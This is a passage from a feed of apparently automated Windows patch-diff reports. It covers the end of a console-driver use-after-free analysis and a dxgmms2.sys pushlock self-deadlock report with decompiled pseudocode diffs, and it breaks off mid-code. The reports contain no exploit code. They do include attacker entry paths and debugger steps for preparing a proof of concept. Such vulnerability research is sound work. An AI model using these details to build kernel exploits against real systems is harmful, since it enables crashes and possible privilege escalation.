&lt;li&gt;&lt;strong&gt;Added:&lt;/strong&gt; none.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is a strictly in-place fix; no new mitigations or sanitizer helpers were introduced. The patch is the minimal possible change.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence in the change and its direction: High. Confidence in exploitability beyond a crash: Low.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The diff is minimal (one function, one relocated call). The assembly evidence is unambiguous: early deref at &lt;code&gt;+0x104&lt;/code&gt; (&lt;code&gt;0x1c000a274&lt;/code&gt;), freed-pool read at &lt;code&gt;+0x139&lt;/code&gt; (&lt;code&gt;0x1c000a2a9&lt;/code&gt;/&lt;code&gt;0x1c000a2ae&lt;/code&gt;), atomic write at &lt;code&gt;+0x1909&lt;/code&gt; (&lt;code&gt;0x1c000ba79&lt;/code&gt;), and the moved deref at &lt;code&gt;+0x1CA&lt;/code&gt; (&lt;code&gt;0x1c000a33a&lt;/code&gt;) in the patched build.&lt;/li&gt;
&lt;li&gt;The semantic — &lt;code&gt;ObfDereferenceObject&lt;/code&gt; should be the &lt;em&gt;last&lt;/em&gt; use of an object pointer derived via &lt;code&gt;ObfReference*&lt;/code&gt; — is a textbook reference-counting rule, and the patch restores exactly that ordering.&lt;/li&gt;
&lt;li&gt;The function name &lt;code&gt;CdCreateDefaultObjectClient&lt;/code&gt;, the &lt;code&gt;\Device\ConDrv&lt;/code&gt; reach, and the &lt;code&gt;PsIsSystemProcess&lt;/code&gt; access align with the console-driver attack surface.&lt;/li&gt;
&lt;li&gt;The severity is Medium rather than High because the write-side accesses are gated behind a non-attacker-controlled &lt;code&gt;PsIsSystemProcess&lt;/code&gt; predicate (see §2/§6); the reachable unprivileged effect is a racy freed-pool access whose most likely outcome is a crash. Escalation to arbitrary read/write or privilege escalation is not demonstrable from these binaries.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Assumptions to verify manually before PoC:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Exact IOCTL code&lt;/strong&gt; that routes to &lt;code&gt;CdCreateDefaultObjectClient (sub_1C000A170)&lt;/code&gt;. The diff does not list it; recover it as described in §7 by breaking on the function and reading the IRP's &lt;code&gt;IoControlCode&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pool tag and size&lt;/strong&gt; of &lt;code&gt;Object&lt;/code&gt; and &lt;code&gt;rsi&lt;/code&gt;. Recover with &lt;code&gt;!pool @rcx 2&lt;/code&gt; and &lt;code&gt;!pool @rsi 2&lt;/code&gt; after the entry breakpoint hits.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The race-closing path&lt;/strong&gt; that drops &lt;code&gt;Object&lt;/code&gt;'s other references. The diff identifies the bug as "racy with handle close," but the exact other side (a user-mode &lt;code&gt;CloseHandle&lt;/code&gt;, an internal &lt;code&gt;ObCloseHandle&lt;/code&gt;, or an internal driver deref) was not cross-referenced.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Whether the slow path (&lt;code&gt;CdGetProcessConnection (sub_1c00098b0)&lt;/code&gt;) or the fast (IRP-stack cached) path is taken.&lt;/strong&gt; The diff mentions both; a successful race may require forcing the slow path, which may need specific input-buffer contents.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Default reference count of &lt;code&gt;Object&lt;/code&gt;&lt;/strong&gt; at function entry — the race requires that the patch-side deref be the &lt;em&gt;final&lt;/em&gt; drop. &lt;code&gt;!obtrace @rcx&lt;/code&gt; with &lt;code&gt;gflag +otl&lt;/code&gt; will show this directly.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Verify those five items with the breakpoints in §7 before investing in exploit reliability work.&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>dxgmms2.sys — Improper synchronization / EX_PUSH_LOCK self-deadlock (CWE-662) in CVirtualAddressAllocator::AddVaRangeToVadRangeListWithFix fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/dxgmms2_8903f41e-dxgmms2-report-20260628-224836.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/dxgmms2_8903f41e-dxgmms2-report-20260628-224836.html</id><summary type="html">&lt;p&gt;KB5078885&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dxgmms2_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;dxgmms2_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.991&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;2033&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched → patched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch retrofits owner-thread tracking onto the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; &lt;code&gt;EX_PUSH_LOCK&lt;/code&gt; (at &lt;code&gt;owner+0x158&lt;/code&gt;) used across the VIDMM / &lt;code&gt;CVirtualAddressAllocator&lt;/code&gt; VA-range paths, and in &lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt; gates the acquire behind the WIL feature-staging flag &lt;code&gt;Feature_Servicing_PteDeadLock&lt;/code&gt; so a thread that already owns the lock skips re-acquisition. The unpatched driver acquires this lock without a self-ownership check, allowing a deterministic self-deadlock (DoS) if the same thread reenters an acquiring path while already holding it. Because the fix is feature-staged, the patched binary still ships the old unconditional path (selected when the flag is off). The separate &lt;code&gt;CVirtualAddressAllocator&lt;/code&gt; &lt;code&gt;DXGPUSHLOCK&lt;/code&gt; (&lt;code&gt;this+7&lt;/code&gt;) was already owner-checked in both builds; the memory-corruption escalation is speculative and not demonstrated.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1 — Pushlock Self-Deadlock (MEDIUM)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium — local kernel denial of service (thread self-deadlock → BSOD). The only established primitive is availability loss; no privilege escalation or memory corruption is demonstrated, and the exact user-mode sequence that produces the reentrant acquire was not isolated from the binaries.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; CWE-662 (Improper Synchronization) — self-acquisition of a non-recursive &lt;code&gt;EX_PUSH_LOCK&lt;/code&gt; (the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; pushlock) by a thread that already holds it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected functions:&lt;/strong&gt; &lt;code&gt;CVirtualAddressAllocator::AddVaRangeToVadRangeListWithFix&lt;/code&gt; (&lt;code&gt;sub_1c005f13c&lt;/code&gt;, primary), &lt;code&gt;CVirtualAddressAllocator::RemoveVaRangeFromVad&lt;/code&gt; (&lt;code&gt;sub_1c006029c&lt;/code&gt;), &lt;code&gt;VIDMM_MAPPED_VA_RANGE::~VIDMM_MAPPED_VA_RANGE&lt;/code&gt; (&lt;code&gt;sub_1c000136c&lt;/code&gt;), &lt;code&gt;VIDMM_GLOBAL::MemoryTransferInternal&lt;/code&gt; (&lt;code&gt;sub_1c008bd80&lt;/code&gt;), &lt;code&gt;CheckUniqueGpuVaMapping&lt;/code&gt; (&lt;code&gt;sub_1c00875b4&lt;/code&gt;) (owner-tag hardening); &lt;code&gt;VIDMM_GLOBAL::CreateOneAllocation&lt;/code&gt; (&lt;code&gt;sub_1c005d34c&lt;/code&gt;, struct init); &lt;code&gt;VIDMM_GLOBAL::CloseOneAllocation&lt;/code&gt; (&lt;code&gt;sub_1c0069f40&lt;/code&gt;, a &lt;em&gt;separate&lt;/em&gt; VA-range race-condition servicing fix).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Root cause&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;EX_PUSH_LOCK&lt;/code&gt; is a lightweight Windows kernel synchronization primitive that does &lt;strong&gt;not&lt;/strong&gt; support recursive (reentrant) acquisition. If a thread that already holds a pushlock exclusively calls &lt;code&gt;ExAcquirePushLockExclusiveEx&lt;/code&gt; on the same lock again, the thread blocks forever waiting for itself — a guaranteed self-deadlock.&lt;/p&gt;
&lt;p&gt;The relevant lock is the &lt;code&gt;EX_PUSH_LOCK&lt;/code&gt; inside the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; object (the object returned by &lt;code&gt;GetVidMmGlobalAllocFromOwner&lt;/code&gt;), at offset &lt;code&gt;+0x158&lt;/code&gt; (owner-thread slot at &lt;code&gt;+0x160&lt;/code&gt;). This is distinct from the &lt;code&gt;CVirtualAddressAllocator&lt;/code&gt;'s own &lt;code&gt;DXGPUSHLOCK&lt;/code&gt; at &lt;code&gt;this+7&lt;/code&gt;, which &lt;strong&gt;already&lt;/strong&gt; carries an owner check (&lt;code&gt;*(this+8) != KeGetCurrentThread()&lt;/code&gt;) in both builds. Several functions acquire the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; lock without a self-ownership check, with the pattern:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// no ownership check (unpatched)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* ... work ... */&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleasePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Failure mode: if the same thread reenters one of these acquiring functions while it already holds the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; lock for the same object, the second &lt;code&gt;ExAcquirePushLockExclusiveEx&lt;/code&gt; blocks the thread on itself. The DPC watchdog eventually fires &lt;code&gt;DPC_WATCHDOG_VIOLATION&lt;/code&gt; (0x133) or &lt;code&gt;DRIVER_POWER_STATE_FAILURE&lt;/code&gt; (0x9F).&lt;/p&gt;
&lt;p&gt;Two corrections to note: (1) &lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt; calls &lt;code&gt;RemoveVaRangeFromVad(this, ..., 1)&lt;/code&gt; with &lt;code&gt;a5 = 1&lt;/code&gt; in &lt;strong&gt;both&lt;/strong&gt; builds; &lt;code&gt;RemoveVaRangeFromVad&lt;/code&gt; acquires &lt;code&gt;owner+0x158&lt;/code&gt; only when &lt;code&gt;a5 == 0&lt;/code&gt;, so that specific edge is not the deadlock source. (2) A premature-release / memory-corruption path is not established: the unpatched release runs only on a call that actually acquired, so no concurrent-manipulation UAF is demonstrated.&lt;/p&gt;
&lt;p&gt;The unpatched &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; object does not use the owner-thread slot at &lt;code&gt;+0x160&lt;/code&gt;. &lt;code&gt;sub_1c005d34c&lt;/code&gt; (&lt;code&gt;CreateOneAllocation&lt;/code&gt;) allocates a &lt;code&gt;0x1f8&lt;/code&gt;-byte object; the patch grows it and zero-inits the new &lt;code&gt;+0x160&lt;/code&gt; slot.&lt;/p&gt;
&lt;h4&gt;What the patch does&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Enlarges the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; object from &lt;code&gt;0x1f8&lt;/code&gt; (504) → &lt;code&gt;0x208&lt;/code&gt; (520) bytes.&lt;/li&gt;
&lt;li&gt;In the constructor (&lt;code&gt;CreateOneAllocation&lt;/code&gt;), zero-inits the new owner-thread slot &lt;code&gt;obj[44]&lt;/code&gt; (&lt;code&gt;+0x160&lt;/code&gt;) and writes the type tag &lt;code&gt;0x35&lt;/code&gt; at &lt;code&gt;+0x16c&lt;/code&gt; (&lt;code&gt;*((_DWORD*)obj+91)=53&lt;/code&gt;). This is discrete field initialization, not a literal memset.&lt;/li&gt;
&lt;li&gt;After a successful acquire in the affected functions, writes &lt;code&gt;*(owner + 0x160) = KeGetCurrentThread()&lt;/code&gt; and clears it (&lt;code&gt;= 0&lt;/code&gt;) before release.&lt;/li&gt;
&lt;li&gt;In &lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt;, gates the acquire behind the WIL feature-staging flag &lt;code&gt;Feature_Servicing_PteDeadLock__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c0018990&lt;/code&gt;, patched build only). Feature off: the original unconditional acquire runs. Feature on: acquire only if &lt;code&gt;*(owner+0x160) != KeGetCurrentThread()&lt;/code&gt;, record with a &lt;code&gt;v68&lt;/code&gt; flag, and release only when this call acquired.&lt;/li&gt;
&lt;li&gt;The staging-flag calls &lt;code&gt;Feature_3895685435__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c00179a4&lt;/code&gt; → &lt;code&gt;sub_1c00179ec&lt;/code&gt;) and &lt;code&gt;Feature_Servicing_VARangeHoldReference__private_IsEnabledDeviceUsage&lt;/code&gt; (&lt;code&gt;sub_1c00179f8&lt;/code&gt; → &lt;code&gt;sub_1c0017a40&lt;/code&gt;) are the &lt;strong&gt;same&lt;/strong&gt; WIL functions in both builds; only their addresses relocated. They are not new or changed reentrancy helpers.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sub_1c0069f40&lt;/code&gt; (&lt;code&gt;CloseOneAllocation&lt;/code&gt;) is a &lt;strong&gt;separate&lt;/strong&gt; change: it adds a &lt;code&gt;Feature_Servicing_VARangeRaceCondition&lt;/code&gt;-gated deferred-cleanup path (&lt;code&gt;QueueSystemCleanupCommandAndWait&lt;/code&gt;). The &lt;code&gt;TerminateOneAllocation&lt;/code&gt; call is unchanged (no &lt;code&gt;arg2 → 0&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Attacker-reachable entry point and data flow&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Attacker process opens a Direct3D device (or uses &lt;code&gt;D3DKMT*&lt;/code&gt; thunks) and obtains a handle to a VidPn source / allocation set.&lt;/li&gt;
&lt;li&gt;User-mode calls trigger &lt;code&gt;dxgkrnl.sys&lt;/code&gt;, which dispatches into &lt;code&gt;dxgmms2.sys&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;VA-range operations land in &lt;code&gt;CVirtualAddressAllocator::AddVaRangeToVadRangeList&lt;/code&gt; (&lt;code&gt;sub_1c0087078&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;That invokes &lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt; (&lt;code&gt;sub_1c005f13c&lt;/code&gt;), which acquires the &lt;code&gt;VIDMM_GLOBAL_ALLOC&lt;/code&gt; pushlock at &lt;code&gt;owner+0x158&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;If the same thread reenters an acquiring function while already holding that lock, the second acquire self-deadlocks (unpatched). The exact user-mode sequence producing this reentrancy was not isolated statically and must be confirmed dynamically.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;AddVaRangeToVadRangeListWithFix&lt;/code&gt; (&lt;code&gt;sub_1c005f13c&lt;/code&gt;; patched &lt;code&gt;0x1c005f15c&lt;/code&gt;) — primary function&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================ UNPATCHED ============================&lt;/span&gt;
&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;AddVaRangeToVadRangeListWithFix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// separate DXGPUSHLOCK at this+7 is ALREADY owner-checked (unchanged in both builds)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGPUSHLOCK&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AcquireExclusive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;GetVidMmGlobalAllocFromOwner&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ❌ VIDMM_GLOBAL_ALLOC lock: no self-ownership check&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeEnterCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExAcquirePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ← self-deadlock if reentrant&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;/* ... work; RemoveVaRangeFromVad(this, ..., /*a5=*/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;called&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;here&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="n"&gt;which&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SKIPS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;acquiring&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;because&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*/&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// release gated only on owner != 0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExReleasePushLockExclusiveEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeLeaveCriticalRegion&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================= PATCHED =============================&lt;/span&gt;
&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;AddVaRangeToVadRangeListWithFix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeGetCurrentThread&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DXGPUSHLOCK&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;AcquireExclusive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span 